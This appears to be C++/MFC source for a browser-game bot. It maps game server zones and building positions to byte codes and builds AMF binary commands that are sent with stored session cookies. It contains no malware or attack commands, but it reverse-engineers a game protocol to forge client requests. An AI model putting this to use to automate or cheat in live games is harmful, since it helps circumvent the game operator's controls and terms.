    m_mapDomanByte.SetAt("13","48.164.177.114"); //13---华南区,广东7区
    m_mapDomanByte.SetAt("11","48.158.178.72"); //11---华南区,广东6区
    m_mapDomanByte.SetAt("6","48.164.242.44"); //6---华南区,广东5区
    m_mapDomanByte.SetAt("5","48.168.200.102"); //5---华南区,广东4区
    m_mapDomanByte.SetAt("4","48.169.218.87"); //4---华南区,广东3区
    m_mapDomanByte.SetAt("3","48.173.235.124"); //3---华南区,广东2区
    m_mapDomanByte.SetAt("2","48.190.248.82"); //2---华南区,广东1区
    m_mapDomanByte.SetAt("33","48.149.228.76"); //33---华南区,海南1区
    m_mapDomanByte.SetAt("47","48.140.240.103"); //47---华南区,江门1区
    m_mapDomanByte.SetAt("506","48.136.241.9"); //506---华南区,广西5区
    m_mapDomanByte.SetAt("510","48.137.233.120"); //510---华南区,深圳3区
    m_mapDomanByte.SetAt("516","48.132.203.9"); //516---华南区,福建8区
    m_mapDomanByte.SetAt("517","48.131.204.110"); //517---华南区,广东14区

////////////////////////////////////////////////////////////////////////////////
//华北大区



    m_mapDomanByte.SetAt("602","48.169.228.66"); //602---华北区,体验2区
    m_mapDomanByte.SetAt("658","48.134.192.65"); //658---华北区,山东8区
    m_mapDomanByte.SetAt("646","48.147.145.110"); //646---华北区,石家庄1区
    m_mapDomanByte.SetAt("633","48.149.233.103"); //633---华北区,北京6区
    m_mapDomanByte.SetAt("610","48.155.138.65"); //610---华北区,北京5区
    m_mapDomanByte.SetAt("605","48.157.164.75"); //605---华北区,北京4区
    m_mapDomanByte.SetAt("604","48.162.246.89"); //604---华北区,北京3区
    m_mapDomanByte.SetAt("0","维护中......"); //0---华北区,北京2区
    m_mapDomanByte.SetAt("603","48.183.161.39"); //603---华北区,北京1区
    m_mapDomanByte.SetAt("619","48.158.235.12"); //619---华北区,郑州1区
    m_mapDomanByte.SetAt("629","48.162.251.35"); //629---华北区,河南3区
    m_mapDomanByte.SetAt("624","48.155.185.107"); //624---华北区,河南2区
    m_mapDomanByte.SetAt("607","48.182.239.69"); //607---华北区,河南1区
    m_mapDomanByte.SetAt("649","48.152.177.23"); //649---华北区,潍坊1区
    m_mapDomanByte.SetAt("654","48.137.243.54"); //654---华北区,山东7区
    m_mapDomanByte.SetAt("648","48.138.235.59"); //648---华北区,山东6区
    m_mapDomanByte.SetAt("643","48.145.249.89"); //643---华北区,山东5区
    m_mapDomanByte.SetAt("641","48.146.243.12"); //641---华北区,山东4区
    m_mapDomanByte.SetAt("625","48.162.207.84"); //625---华北区,山东3区
    m_mapDomanByte.SetAt("612","48.164.230.64"); //612---华北区,山东2区
    m_mapDomanByte.SetAt("606","48.183.178.37"); //606---华北区,山东1区
    m_mapDomanByte.SetAt("620","48.151.232.54"); //620---华北区,济南1区
    m_mapDomanByte.SetAt("638","48.146.147.20"); //638---华北区,烟台1区
    m_mapDomanByte.SetAt("630","48.152.138.27"); //630---华北区,青岛1区
    m_mapDomanByte.SetAt("650","48.146.183.113"); //650---华北区,山西3区
    m_mapDomanByte.SetAt("628","48.148.187.86"); //628---华北区,山西2区
    m_mapDomanByte.SetAt("614","48.174.216.51"); //614---华北区,山西1区
    m_mapDomanByte.SetAt("344","48.150.239.90"); //344---华北区,陕西2区
    m_mapDomanByte.SetAt("615","48.165.185.88"); //615---华北区,陕西1区
    m_mapDomanByte.SetAt("636","48.155.209.66"); //636---华北区,天津2区
    m_mapDomanByte.SetAt("617","48.152.241.80"); //617---华北区,天津1区
    m_mapDomanByte.SetAt("634","48.161.238.123"); //634---华北区,唐山1区
    m_mapDomanByte.SetAt("655","48.146.198.61");  //655---华北区,河北4区
    m_mapDomanByte.SetAt("640","48.147.156.83");  //640---华北区,河北3区
    m_mapDomanByte.SetAt("623","48.151.206.98");  //623---华北区,河北2区
    m_mapDomanByte.SetAt("608","48.176.181.78");  //608---华北区,河北1区
    m_mapDomanByte.SetAt("644","48.150.219.99");  //644---华北区,太原1区
    m_mapDomanByte.SetAt("657","48.136.196.85");  //657---华北区,北京7区
    m_mapDomanByte.SetAt("659","48.138.174.82");  //659---华北区,河南4区
    m_mapDomanByte.SetAt("661","48.131.234.63");  //661---华北区,山东9区
//////////////////////////////////////////////////////////////////////////////////

//华东大区

    m_mapDomanByte.SetAt("511","48.138.250.70");  //511---华东区,浙江9区
    m_mapDomanByte.SetAt("336","48.145.145.76");  //336---华东区,无锡1区
    m_mapDomanByte.SetAt("338","48.152.134.43");  //338---华东区,南京1区

    m_mapDomanByte.SetAt("345","48.145.225.123");  //345---华东区,台州1区
    m_mapDomanByte.SetAt("350","Error");  //350---华东区,徐州1区
    m_mapDomanByte.SetAt("504","48.137.193.54");  //504---华东区,上海8区

    m_mapDomanByte.SetAt("342","48.142.187.16");  //342---华东区,上海7区
    m_mapDomanByte.SetAt("323","48.148.133.49");  //323---华东区,上海6区
    m_mapDomanByte.SetAt("309","48.152.141.47");  //309---华东区,上海5区
    m_mapDomanByte.SetAt("304","48.153.248.21");  //304---华东区,上海4区
    m_mapDomanByte.SetAt("303","48.159.154.62");  //303---华东区,上海3区

    m_mapDomanByte.SetAt("302","48.159.211.59");  //302---华东区,上海2区
    m_mapDomanByte.SetAt("301","48.175.244.120");  //301---华东区,上海1区
    m_mapDomanByte.SetAt("366","48.138.169.116");  //366---华东区,江苏7区

    m_mapDomanByte.SetAt("353","48.144.193.95");  //353---华东区,江苏6区
    m_mapDomanByte.SetAt("346","48.147.135.28");  //346---华东区,江苏5区
    m_mapDomanByte.SetAt("341","48.145.203.93");  //341---华东区,江苏4区

    m_mapDomanByte.SetAt("319","48.156.168.60");  //319---华东区,江苏3区
    m_mapDomanByte.SetAt("313","48.159.255.42");  //313---华东区,江苏2区
    m_mapDomanByte.SetAt("308","48.175.181.4");  //308---华东区,江苏1区
    m_mapDomanByte.SetAt("365","48.139.191.87");  //365---华东区,浙江8区
    m_mapDomanByte.SetAt("363","48.148.207.44");  //363---华东区,浙江7区
    m_mapDomanByte.SetAt("357","48.146.174.79");  //357---华东区,浙江6区
    m_mapDomanByte.SetAt("339","48.156.250.31");  //339---华东区,浙江5区
    m_mapDomanByte.SetAt("322","48.148.240.98");  //322---华东区,浙江4区
    m_mapDomanByte.SetAt("318","48.154.156.45");  //318---华东区,浙江3区

    m_mapDomanByte.SetAt("311","48.153.140.87");  //311---华东区,浙江2区
    m_mapDomanByte.SetAt("306","Error");  //306---华东区,浙江1区
    m_mapDomanByte.SetAt("361","48.146.232.26");  //361---华东区,温州2区
    m_mapDomanByte.SetAt("326","48.148.191.57");  //326---华东区,温州1区
    m_mapDomanByte.SetAt("358","48.149.220.118");  //358---华东区,安徽4区
    m_mapDomanByte.SetAt("335","48.146.183.47");  //335---华东区,安徽3区
    m_mapDomanByte.SetAt("315","48.159.202.78");  //315---华东区,安徽2区
    m_mapDomanByte.SetAt("312","48.169.244.1");  //312---华东区,安徽1区
    m_mapDomanByte.SetAt("362","48.153.169.31");  //362---华东区,苏州2区
    m_mapDomanByte.SetAt("327","48.148.156.32");  //327---华东区,苏州1区

    m_mapDomanByte.SetAt("328","48.144.239.10");  //328---华东区,杭州1区
    m_mapDomanByte.SetAt("331","48.147.247.76");  //331---华东区,合肥1区
    m_mapDomanByte.SetAt("332","48.147.194.1");  //332---华东区,宁波1区
    m_mapDomanByte.SetAt("349","48.150.135.90");  //349---华东区,嘉兴1区

    m_mapDomanByte.SetAt("354","48.159.190.124");  //354---华东区,义乌1区
    m_mapDomanByte.SetAt("507","48.136.168.90");  //507---华东区,江苏8区
    m_mapDomanByte.SetAt("512","48.137.180.86");  //512---华东区,江苏9区


//////////////////////////////////////////////////////////////////////////////////////

//西部大区
    m_mapDomanByte.SetAt("513","48.134.184.40");  //513---西部区,四川8区
    m_mapDomanByte.SetAt("355","48.151.217.41");  //355---西部区,宁夏1区
    m_mapDomanByte.SetAt("352","48.148.247.72");  //352---西部区,云南2区
    m_mapDomanByte.SetAt("351","48.150.217.108"); //351---西部区,绵阳1区
    m_mapDomanByte.SetAt("505","48.143.239.30");  //505---西部区,西安1区
    m_mapDomanByte.SetAt("343","48.150.139.123"); //343---西部区,贵州2区
    m_mapDomanByte.SetAt("320","48.158.128.109"); //320---西部区,贵州1区
    m_mapDomanByte.SetAt("45","48.144.249.95");   //45---西部区,贵阳1区
    m_mapDomanByte.SetAt("508","48.135.186.65");  //508---西部区,四川7区
    m_mapDomanByte.SetAt("356","48.150.226.70");  //356---西部区,四川6区
    m_mapDomanByte.SetAt("347","48.148.206.60");  //347---西部区,四川5区
    m_mapDomanByte.SetAt("340","48.148.166.27");  //340---西部区,四川4区
    m_mapDomanByte.SetAt("324","48.156.238.37");  //324---西部区,四川3区
    m_mapDomanByte.SetAt("310","48.161.149.61");  //310---西部区,四川2区
    m_mapDomanByte.SetAt("305","48.178.219.20");  //305---西部区,四川1区
    m_mapDomanByte.SetAt("369","48.143.167.88");  //369---西部区,重庆4区
    m_mapDomanByte.SetAt("359","48.146.156.94");  //359---西部区,重庆3区
    m_mapDomanByte.SetAt("337","48.150.246.68");  //337---西部区,重庆2区
    m_mapDomanByte.SetAt("9", "48.165.187.94");    //9---西部区,重庆1区
    m_mapDomanByte.SetAt("329","48.152.139.78");   //329---西部区,成都1区
    m_mapDomanByte.SetAt("316","48.159.137.77");   //316---西部区,云南1区
    m_mapDomanByte.SetAt("334","48.147.181.80");   //334---西部区,昆明1区
    m_mapDomanByte.SetAt("348","48.146.168.96");   //348---西部区,甘肃1区
    m_mapDomanByte.SetAt("368","48.142.192.39");   //368---西部区,兰州1区

//华中大区

    m_mapDomanByte.SetAt("514","48.134.160.60");   //514---华中区,湖南6区

    m_mapDomanByte.SetAt("367","48.137.234.92");   //367---华中区,湖北6区
    m_mapDomanByte.SetAt("360","48.146.218.47");   //360---华中区,湖北5区
    m_mapDomanByte.SetAt("35","48.150.182.78");   //35---华中区,湖北4区
    m_mapDomanByte.SetAt("24","48.151.180.126");   //24---华中区,湖北3区
    m_mapDomanByte.SetAt("317","48.156.157.61");   //317---华中区,湖北2区
    m_mapDomanByte.SetAt("307","48.172.157.112");   //307---华中区,湖北1区
    m_mapDomanByte.SetAt("364","48.155.157.112");   //364---华中区,湖南5区
    m_mapDomanByte.SetAt("38","48.147.221.35");   //38---华中区,湖南4区

    m_mapDomanByte.SetAt("27","48.146.249.127");   //27---华中区,湖南3区
    m_mapDomanByte.SetAt("325","48.154.243.28");   //325---华中区,湖南2区
    m_mapDomanByte.SetAt("314","48.166.128.82");   //314---华中区,湖南1区

    m_mapDomanByte.SetAt("31","48.148.149.39");   //31---华中区,江西2区

    m_mapDomanByte.SetAt("321","48.160.167.113");   //321---华中区,江西1区
    m_mapDomanByte.SetAt("330","48.151.247.23");   //330---华中区,武汉1区
    m_mapDomanByte.SetAt("18","48.150.162.64");   //18---华中区,长沙1区
    m_mapDomanByte.SetAt("333","48.158.252.116");   //333---华中区,南昌1区
    m_mapDomanByte.SetAt("515","48.131.145.103");   //515---华中区,湖北7区

//东北大区

    m_mapDomanByte.SetAt("660","48.132.254.16");//660---东北区,辽宁7区
    m_mapDomanByte.SetAt("653","48.138.145.13");//653---东北区,内蒙古2区
    m_mapDomanByte.SetAt("622","48.152.159.3"); //622---东北区,内蒙古1区
    m_mapDomanByte.SetAt("652","48.137.203.19");//652---东北区,辽宁6区
    m_mapDomanByte.SetAt("645","48.140.203.4"); //645---东北区,辽宁5区


    m_mapDomanByte.SetAt("639","48.145.148.14"); //639---东北区,辽宁4区
    m_mapDomanByte.SetAt("627","48.147.140.53"); //627---东北区,辽宁3区
    m_mapDomanByte.SetAt("616","48.156.134.28"); //616---东北区,辽宁2区
    m_mapDomanByte.SetAt("609","48.172.238.40"); //609---东北区,辽宁1区
    m_mapDomanByte.SetAt("621","48.151.136.23"); //621---东北区,沈阳1区   
    m_mapDomanByte.SetAt("631","48.146.154.115"); //631---东北区,大连1区

    m_mapDomanByte.SetAt("656","48.135.136.117"); //656---东北区,吉林4区

    m_mapDomanByte.SetAt("647","48.141.132.10"); //647---东北区,吉林3区
    m_mapDomanByte.SetAt("626","48.146.132.33"); //626---东北区,吉林2区

    m_mapDomanByte.SetAt("611","48.167.221.67"); //611---东北区,吉林1区

    m_mapDomanByte.SetAt("635","48.146.212.104"); //635---东北区,长春1区

    m_mapDomanByte.SetAt("651","48.140.156.26"); //651---东北区,黑龙江5区

    m_mapDomanByte.SetAt("642","48.147.215.35"); //642---东北区,黑龙江4区

    m_mapDomanByte.SetAt("637","48.147.157.51"); //637---东北区,黑龙江3区

    m_mapDomanByte.SetAt("632","48.146.219.95"); //632---东北区,黑龙江2区
    
    m_mapDomanByte.SetAt("613","48.170.254.115"); //613---东北区,黑龙江1区

    m_mapDomanByte.SetAt("618","48.153.147.28"); //618---东北区,哈尔滨1区

//建筑坐标
///////////////////////////////////////////////////////////////////////////////////
m_mapSelectBuild.InitHashTable(35);
//西北方向
m_mapSelectBuild.SetAt("C27","5-50.7.67.6.55");
m_mapSelectBuild.SetAt("C28","5-50.7.67.6.56");
m_mapSelectBuild.SetAt("C22","5-50.7.67.6.50");
m_mapSelectBuild.SetAt("C26","5-50.7.67.6.54");
m_mapSelectBuild.SetAt("C23","5-50.7.67.6.51");
m_mapSelectBuild.SetAt("C25","5-50.7.67.6.53");
m_mapSelectBuild.SetAt("C24","5-50.7.67.6.52");
//西南方向

m_mapSelectBuild.SetAt("C14","5-50.7.67.5.52");
m_mapSelectBuild.SetAt("C12","5-50.7.67.5.50");
m_mapSelectBuild.SetAt("C13","5-50.7.67.5.51");
m_mapSelectBuild.SetAt("C8", "4-50.5.67.12");
m_mapSelectBuild.SetAt("C11","5-50.7.67.5.49");
m_mapSelectBuild.SetAt("C10","5-50.7.67.5.48");
m_mapSelectBuild.SetAt("C9", "4-50.5.67.13");

//东北方向
m_mapSelectBuild.SetAt("C21","5-50.7.67.6.49");
m_mapSelectBuild.SetAt("C19","5-50.7.67.5.57");
m_mapSelectBuild.SetAt("C17","5-50.7.67.5.55");
m_mapSelectBuild.SetAt("C20","5-50.7.67.6.48");
m_mapSelectBuild.SetAt("C18","5-50.7.67.5.56");
m_mapSelectBuild.SetAt("C16","5-50.7.67.5.54");
m_mapSelectBuild.SetAt("C15","5-50.7.67.5.53");

//东南方向
m_mapSelectBuild.SetAt("C7","4-50.5.67.3");
m_mapSelectBuild.SetAt("C6","4-50.5.67.2");
m_mapSelectBuild.SetAt("C4","4-50.5.67.0");
m_mapSelectBuild.SetAt("C5","4-50.5.67.1");
m_mapSelectBuild.SetAt("C3","4-50.5.67.7");
m_mapSelectBuild.SetAt("C2","4-50.5.67.6");
m_mapSelectBuild.SetAt("C1","4-50.5.67.5");

//特殊
//官府
m_mapSelectBuild.SetAt("N100","6-50.9.78.5.48.48");
//城墙
m_mapSelectBuild.SetAt("N101","6-50.9.78.5.48.49");


}


//创建建造建筑的amf命令
//0A 首字节 1字节
//00 00 00 03 字节数组的个数 4字节
//11 0C 09 30 84 FE 10 第一个字节数组 09表示字节数组个数(09>1右移1位),是服务大区的编号
//11 0C 0B 30 82 B4 F0 31 //第二个字节数组,表示建筑物类型,好象后8个字节表示
//11 0C 05 30 03//第三个字节数组,表示建筑位置,最后一个字节是建筑位置C1-C28编号
UINT C7wAmfCmd::_CreateBuildAmf(CByteArray *parray, CString strDomain, CString strType, int ipos)
{

    unsigned char amfcmd1[] ="\x0A\x00\x00\x00\x03";
    CString strvalue,str1,str2,str3,str4;
    m_mapDomanByte.Lookup(strDomain,strvalue);
    AfxExtractSubString(str1, strvalue, 0, '.'); // 取出第一个子串
    AfxExtractSubString(str2, strvalue, 1, '.'); // 取出第二个子串
    AfxExtractSubString(str3, strvalue, 2, '.'); // 取出第三个子串
    AfxExtractSubString(str4, strvalue, 3, '.'); // 取出第四个子串
    BYTE head[]="\x11\x0C";
    
    BYTE domain[5]={0};
    domain[0]=0x09; //9>>1,4个元素
    domain[1]=::atoi(str1.GetBuffer(0));
    domain[2]=::atoi(str2.GetBuffer(0));
    domain[3]=::atoi(str3.GetBuffer(0));
    domain[4]=::atoi(str4.GetBuffer(0));

    BYTE type[6]={0};
    type[0]=0x0B;//11>>1,5个元素
    type[1]=0x30;
    type[2]=0x82;
    type[3]=0xB4;
    type[4]=0xF0;//后两个字节表示建筑类型,F031居民楼
    type[5]=0x31;
    //仓库   48.130.180.240.50
    //军营   48.130.180.248.1
    //市场   48.130.180.239.161
    //酒馆   48.130.180.231.209
    //医馆   48.130.180.227.186
    //修炼馆 48.130.180.231.211
    //书院   48.130.180.251.233
    //铁匠铺 48.130.180.239.162
    //外使院 48.130.180.235.137


    BYTE pos[3]={0};
    pos[0]=0x05;//5>>1,只有两个元素
    pos[1]=0x30;
    pos[2]=(BYTE)ipos;


    //开始构造CByteArray数组
    UINT utotal=5+7+8+5;
    parray->SetSize(utotal);
    PBYTE phead=parray->GetData();
    memcpy(phead,amfcmd1,5);
    memcpy(phead+5,head,2);
    memcpy(phead+7,domain,5);
    memcpy(phead+12,head,2);
    memcpy(phead+14,type,6);
    memcpy(phead+20,head,2);
    memcpy(phead+22,pos,3);

    return -1;
}




 //0A 00 00 00 02 11 0C 09 30 8C CB 04 11 0C 0B 32 
//07 43 05 31                                     

//选择建筑的amf命令
//0A 首字节 1字节
//00 00 00 02 字节数组的个数 4字节
//11 0C 09 30 84 FE 10 第一个字节数组 09表示字节数组个数(09>1右移1位),是服务大区的编号
//11 0C 0B 30 82 B4 F0 31 //第二个字节数组,表示选择建筑的坐标,官府和围墙特殊需要6个字节



UINT C7wAmfCmd::_SelectBuildAmf(CByteArray *parray, CString strDomain,CString strNoPos)
{
    unsigned char amfcmd1[] ="\x0A\x00\x00\x00\x02";
    //得到大区数据
    CString strvalue,str1,str2,str3,str4,str5;
    m_mapDomanByte.Lookup(strDomain,strvalue);
    AfxExtractSubString(str1, strvalue, 0, '.'); // 取出第一个子串
    AfxExtractSubString(str2, strvalue, 1, '.'); // 取出第二个子串
    AfxExtractSubString(str3, strvalue, 2, '.'); // 取出第三个子串
    AfxExtractSubString(str4, strvalue, 3, '.'); // 取出第四个子串
    BYTE head[]="\x11\x0C";
    BYTE domain[5]={0};
    domain[0]=0x09; //9>>1,4个元素
    domain[1]=::atoi(str1.GetBuffer(0));
    domain[2]=::atoi(str2.GetBuffer(0));
    domain[3]=::atoi(str3.GetBuffer(0));
    domain[4]=::atoi(str4.GetBuffer(0));

    //得到建筑坐标
    CString strpos[8];
    CString strnums,strtemp;
    m_mapSelectBuild.Lookup(strNoPos,strvalue);
    AfxExtractSubString(strnums, strvalue, 0, '-'); //重要，先取出坐标的个数
    UINT unums=::atoi(strnums);
    //把坐标字符串分解出来
    for(int i=0;i<unums;i++)
    {
        AfxExtractSubString(strpos[i],strvalue,i,'.');
        //把'-'字符过滤掉才行
        if(i==0)
        {
            AfxExtractSubString(strtemp,strpos[i],1,'-');
            strpos[i]=strtemp;
        }

    }

    //保存建筑坐标的字节组，最大8个元素
    BYTE posbyte[8]={0};
    posbyte[0]=unums*2+1;//元素个数,右移1位,真正数目
    for(i=0;i<unums;i++)
    {
        posbyte[i+1]=::atoi(strpos[i]);
    }

    
    //开始构造CByteArray数组
    UINT utotal=5+7+3+unums;
    parray->SetSize(utotal);
    PBYTE phead=parray->GetData();
    memcpy(phead,amfcmd1,5);
    memcpy(phead+5,head,2);
    memcpy(phead+7,domain,5);
    memcpy(phead+12,head,2);
    memcpy(phead+14,posbyte,unums+1);





/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"_pos";
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file.Write(parray->GetData(),parray->GetSize());
    file.Close();*/






    return -1;
}

CString C7wAmfCmd::_GetBuildSelectStr(CString strNoPos)
{
    return "";



}








源码/7wAmfCmd.h

// 7wAmfCmd.h: interface for the C7wAmfCmd class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_)

#define AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#include "MainFrm.h"



typedef struct

{

    unsigned   char *buffer;

	UINT	   usize;

	CMainFrame *pfm;

	CString    m_strcmd;

	BOOL       m_bdecode;//是否对接收数据进行解析







} TAG_AMF3CMD;







class C7wAmfCmd  

{

public:



	static CString _GetBuildSelectStr(CString strNoPos);

	static UINT _SelectBuildAmf(CByteArray *parray, CString strDomain,CString strNoPos);

	static UINT _CreateBuildAmf(CByteArray *parray,CString strDomain,CString strType,int ipos);

	static void _SetGlobalParamaters();

	static UINT _CreateAmf3Cmd(CByteArray *parray,CString strcmd,BYTE *pbuf,UINT ulen);

	static DWORD WINAPI _SendAmfCmd(LPVOID lpParam);	

	static UINT			_Decode7WAmfCmd(BYTE *pbuf,UINT ulen,BOOL bGzip,CMainFrame *pfm);

	C7wAmfCmd();

	virtual ~C7wAmfCmd();

	static CString m_strCookies;

	static CString m_strDomain;//非常重要,大区的编号

	static CMapStringToString  m_mapDomanByte;//服务区的amf编号,发送amf命令必备

	static CMapStringToString  m_mapSelectBuild;//选择建筑坐标对照表





};



#endif // !defined(AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_)









源码/amfcmd/castleAct_listAllQueue.txt
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源码/amf_object.cpp// amf_object.cpp: implementation of the amf_object class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "7QW.h"
#include "amf_object.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

#define EPOCH_DIFF 116444736000000000 //FILETIME starts from 1601-01-01 UTC, epoch from 1970- 01-01
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////




amf_object_handle::amf_object_handle():pobj(0)
{
}

amf_object_handle::amf_object_handle(const amf_object_handle &rhs)
{
    pobj = rhs.pobj;
    
    if(pobj!=NULL) 
        pobj->add_ref();
}

amf_object_handle::amf_object_handle(amf_object* obj)
{
    pobj = obj;
    if(pobj!=0)
        pobj->add_ref();
}

amf_object_handle::~amf_object_handle(void)
{
    if(pobj!=0)
        pobj->release();
}

bool amf_object_handle::isnull()
{
    return pobj==0;
}

void amf_object_handle::release()
{
    if(pobj!=0)
        pobj->release();
    
    pobj = 0;
}

amf_object_handle& amf_object_handle::operator = (const amf_object_handle &rhs)
{
    if(pobj==rhs.pobj) 
        return *this;
    
    amf_object* old = pobj;
    pobj = rhs.pobj;
    
    if(pobj!=NULL) 
        pobj->add_ref();
    
    if(old!=NULL) 
        old->release();
    
    return *this;
}

amf_object_handle& amf_object_handle::operator = (amf_object* obj)
{
    if(pobj==obj) 
        return *this;
    
    amf_object* old = pobj;
    pobj = obj;
    
    if(pobj!=NULL) 
        pobj->add_ref();
    
    if(old!=NULL) 
        old->release();
    
    return *this;
}

amf_object* amf_object_handle::operator -> () const
{
    return pobj;
}

bool amf_object_handle::operator ==(const amf_object_handle &rhs) const
{
    return pobj==rhs.pobj;
}

////////////////////////////////////////////////////////////////////////////////////////////////////
amf_object::amf_object()
{
    ref = 1;
    bytearrayLen = 0;
    bytearrayValue = 0;
    name="";
    classname="";
    clear_value();
    maskbit1=1;
    maskbit2=1;
    maskbit3=1;
    maskbit4=1;
    m_uGlobal=0;
    index=-1;//重要,普通object添加时不会修改索引,所以设置为0的index会和traits object索引重复引起解析错误.一定要设置-1.

}

amf_object::~amf_object()
{
    clear_value();
}

void amf_object::clear_value()
{
    type = DT_UNDEFINED;
    
    boolValue = false;
    intValue = 0;
    doubleValue = 0.0f;
    strValue.Empty();
    name.Empty();
    bytearrayLen = 0;
    if(bytearrayValue!=0)
    {
        delete bytearrayValue;
        bytearrayValue = 0;
    }
    
    ::memset(&dateValue,0,sizeof(SYSTEMTIME));
}

amf_object_handle amf_object::Alloc()
{
    amf_object_handle hobj = new amf_object();
    hobj->release();
    return hobj;
}


void amf_object::add_ref()
{
    ::InterlockedIncrement(&ref);
}

void amf_object::release()
{
    if(0==::InterlockedDecrement(&ref))
        delete this;
}










void amf_object::init_context(TAG_context *ctx, void *p1, void *p2)
{
    ctx->m_IFileHandle = 0;
    ctx->m_OFileHandle = 0;
    ctx->s_ReadBufSize = 0;
    ctx->s_ReadBuf = 0;
}




void amf_object::set_time_seed(double t)
{
    __int64 lft = (__int64)t;
    lft = lft * 10000 + EPOCH_DIFF;
    
    FILETIME ft;
    ft.dwLowDateTime = (DWORD)lft;
    ft.dwHighDateTime = (DWORD)(lft>>32);
    ::FileTimeToSystemTime(&ft,&dateValue);
    
    TIME_ZONE_INFORMATION zinfo;
    ::GetTimeZoneInformation(&zinfo);
    
    SYSTEMTIME st;
    ::SystemTimeToTzSpecificLocalTime(&zinfo,&dateValue,&st);
    
    dateValue.wYear = st.wYear;
    dateValue.wMonth = st.wMonth;
    dateValue.wDay = st.wDay;
    dateValue.wDayOfWeek = st.wDayOfWeek;
    dateValue.wHour = st.wHour;
    dateValue.wMinute = st.wMinute;
    dateValue.wSecond = st.wSecond;
    dateValue.wMilliseconds = st.wMilliseconds;


}



double amf_object::get_time_seed()
{
    TIME_ZONE_INFORMATION zinfo;
    ::GetTimeZoneInformation(&zinfo);
    
    SYSTEMTIME st;
    ::TzSpecificLocalTimeToSystemTime(&zinfo,&dateValue,&st);
    
    dateValue.wYear = st.wYear;
    dateValue.wMonth = st.wMonth;
    dateValue.wDay = st.wDay;
    dateValue.wDayOfWeek = st.wDayOfWeek;
    dateValue.wHour = st.wHour;
    dateValue.wMinute = st.wMinute;
    dateValue.wSecond = st.wSecond;
    dateValue.wMilliseconds = st.wMilliseconds;
    
    FILETIME filetime;
    ::SystemTimeToFileTime(&dateValue,&filetime);
    __int64 t = filetime.dwHighDateTime;
    t = t<<32 | filetime.dwLowDateTime;
    t -= EPOCH_DIFF;
    return (double)(t/10000);
}


void amf_object::set_as_unsigned_number(unsigned int num)
{
    if(num<=0x0FFFFFFF)
    {
        type = DT_INTEGER;
        intValue = num;
    }
    else
    {
        type = DT_DOUBLE;
        doubleValue = (double)num;
    }
}

void amf_object::set_as_number(int num)
{
    if(num>0)
    {
        if(num<=0x0FFFFFFF)
        {
            type = DT_INTEGER;
            intValue = num;
        }
        else
        {
            type = DT_DOUBLE;
            doubleValue = (double)num;
        }
    }
    else
    {
        type = DT_DOUBLE;
        doubleValue = (double)num;
    }
}

void amf_object::add_child(amf_object_handle obj)
{
    childrens.push_back(obj);
}

bool amf_object::has_child(const char* name)
{
    for(size_t i=0;i<childrens.size();i++)
    {
        if(childrens[i]->name==name)
            return true;
    }
    
    return false;
}

amf_object_handle amf_object::get_child(const char* name)
{
    for(size_t i=0;i<childrens.size();i++)
    {
        if(childrens[i]->name==name)
            return childrens[i];
    }
    
    return 0;
}

void amf_object::clear_context(TAG_context *ctx)
{
    if(ctx->s_ReadBufSize>0)
    {
        free(ctx->s_ReadBuf);
        ctx->s_ReadBufSize = 0;
        ctx->s_ReadBuf = 0;
    }
    
    ctx->m_IFileHandle = 0;
    ctx->m_OFileHandle = 0;
    
    ctx->m_szReadObjRefTab.clear();
    ctx->m_szReadStrRefTab.clear();
}

amf_object * amf_object_handle::_getamfobject()
{
    return pobj;
}







源码/amf_object.h

// amf_object.h: interface for the amf_object class.

//

//////////////////////////////////////////////////////////////////////

#include <vector>

using   namespace   std;

#if !defined(AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_)

#define AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000





#define DYNAMIC_OBJ_MAX_PROPERTY	512





#define REFERENCE_BIT	0x01



#define EMPTY_STRING	0x01



enum DataType

{

		DT_UNDEFINED = 0x00,	//unsupport

		DT_NULL = 0x01,

		DT_FALSE = 0x02,

		DT_TRUE = 0x03,

		DT_INTEGER = 0x04,

		DT_DOUBLE = 0x05,

		DT_STRING = 0x06,

		DT_XMLDOC = 0x07,		//unsupport

		DT_DATE = 0x08,

		DT_ARRAY = 0x09,

		DT_OBJECT = 0x0A,

		DT_XML = 0x0B,			//unsupport

		DT_BYTEARRAY = 0x0C,	

		DT_FIXOBJECT=0x11

};



class amf_object;

struct TAG_context;



class amf_object_handle

{

public:

	amf_object_handle();

	amf_object_handle(const amf_object_handle &rhs);

	amf_object_handle(amf_object* obj);

	~amf_object_handle(void);

	

public:

	bool isnull();

	void release();

	

public:

	amf_object * _getamfobject();

	amf_object_handle& operator = (const amf_object_handle &rhs);

	amf_object_handle& operator = (amf_object* obj);

	amf_object* operator -> () const;

	

	bool operator == (const amf_object_handle &rhs) const;

	

private:

	amf_object* pobj;



};



typedef std::vector<amf_object_handle> type_amf_ref_tab;









class amf_object  

{

	friend class amf_object_handle;

	

public:

	static amf_object_handle Alloc();

	

protected:

	amf_object();

	~amf_object(void);

	

public:

	void clear_value();

	

public:

	double get_time_seed();

	void   set_time_seed(double t);

	

public:

	void set_as_unsigned_number(unsigned int num);

	void set_as_number(int num);

	

public:

	void add_ref();

	void release();

	

public:

	void add_child(amf_object_handle obj);

	bool has_child(const char* name);

	amf_object_handle get_child(const char* name);

	

private:

	long ref;

	

public:

	UINT m_uGlobal;

	static void clear_context(TAG_context* ctx);

	static void  init_context(TAG_context* ctx,void *p1,void *p2);

	//////////////////////////////////////////////////////////////////

	CString classname;

	CString  name;	

	DataType type;

	bool boolValue;

	int intValue;

	double doubleValue;

	CString  strValue;

	SYSTEMTIME dateValue;

	int bytearrayLen;

